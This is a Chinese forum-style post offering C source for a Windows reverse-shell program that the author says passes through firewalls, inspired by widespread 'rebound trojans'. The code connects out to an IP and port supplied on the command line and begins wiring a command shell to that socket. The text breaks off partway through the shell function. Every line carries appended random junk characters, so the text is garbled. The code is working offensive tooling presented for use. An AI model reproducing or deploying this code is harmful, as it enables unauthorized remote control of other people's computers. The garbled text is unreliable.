这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 x;Q2/YZ#
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/* ============================== J4i0+u
Rebound port in Windows NT /'&LM\
By wind,2006/7 H@:@zD!G[
===============================*/ ;21JM2JI8
#include \Wk$>?+#@
#include JV>OmUAk
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#pragma comment(lib,"wsock32.lib") (x@"Dp=MZW
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void OutputShell(); I_rVeMw=
SOCKET sClient; Fz% n!d
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; _?"J.i
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void main(int argc,char **argv) XQA2uR4h
{ S EmD's
WSADATA stWsaData; y(A"g3^=
int nRet; bOdD:=f
SOCKADDR_IN stSaiClient,stSaiServer; %O${EN
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if(argc != 3) 8TZe=sD~cr
{ mfvQ]tz_+
printf("Useage:\n\rRebound DestIP DestPort\n"); x@=7M'vr%
return; jI%yi-<;
} gNeCnf#Xa
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WSAStartup(MAKEWORD(2,2),&stWsaData); Lnzhs;7L
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ilP&ctn6+c
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stSaiClient.sin_family = AF_INET; .\ZxwD|
stSaiClient.sin_port = htons(0); q,GL#L
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )r~Oj3TH
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) va0
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{ ]+8,@%="
printf("Bind Socket Failed!\n"); @h]H_
return; +j,;g#d
} kAoai|m@R
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stSaiServer.sin_family = AF_INET; sIpK@BQ'
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 3A5" %
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ~>n<b1}W
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) C6`8dn
{ RUEUn
printf("Connect Error!"); "Xqj%\
return; -Da_#_F
} e#wn;wo?
OutputShell(); Jj!T7f*-GX
} '&Ku Ba
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void OutputShell() ,<BTv;4p
{ ?6Gq &
char szBuff[1024]; 5>HI/QG
SECURITY_ATTRIBUTES stSecurityAttributes; &Ru6Yt0W
OSVERSIONINFO stOsversionInfo; Dz?F,g_
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; c1`o3gb
STARTUPINFO stStartupInfo; TsQMwV_h
char *szShell; aF:I]]TfK~
PROCESS_INFORMATION stProcessInformation; 1\McsX4
unsigned long lBytesRead; p82qFzq#
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); j{vzCRa>8
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); D"MNlm
stSecurityAttributes.lpSecurityDescriptor = 0; VioVtP0
stSecurityAttributes.bInheritHandle = TRUE; mXr)lA
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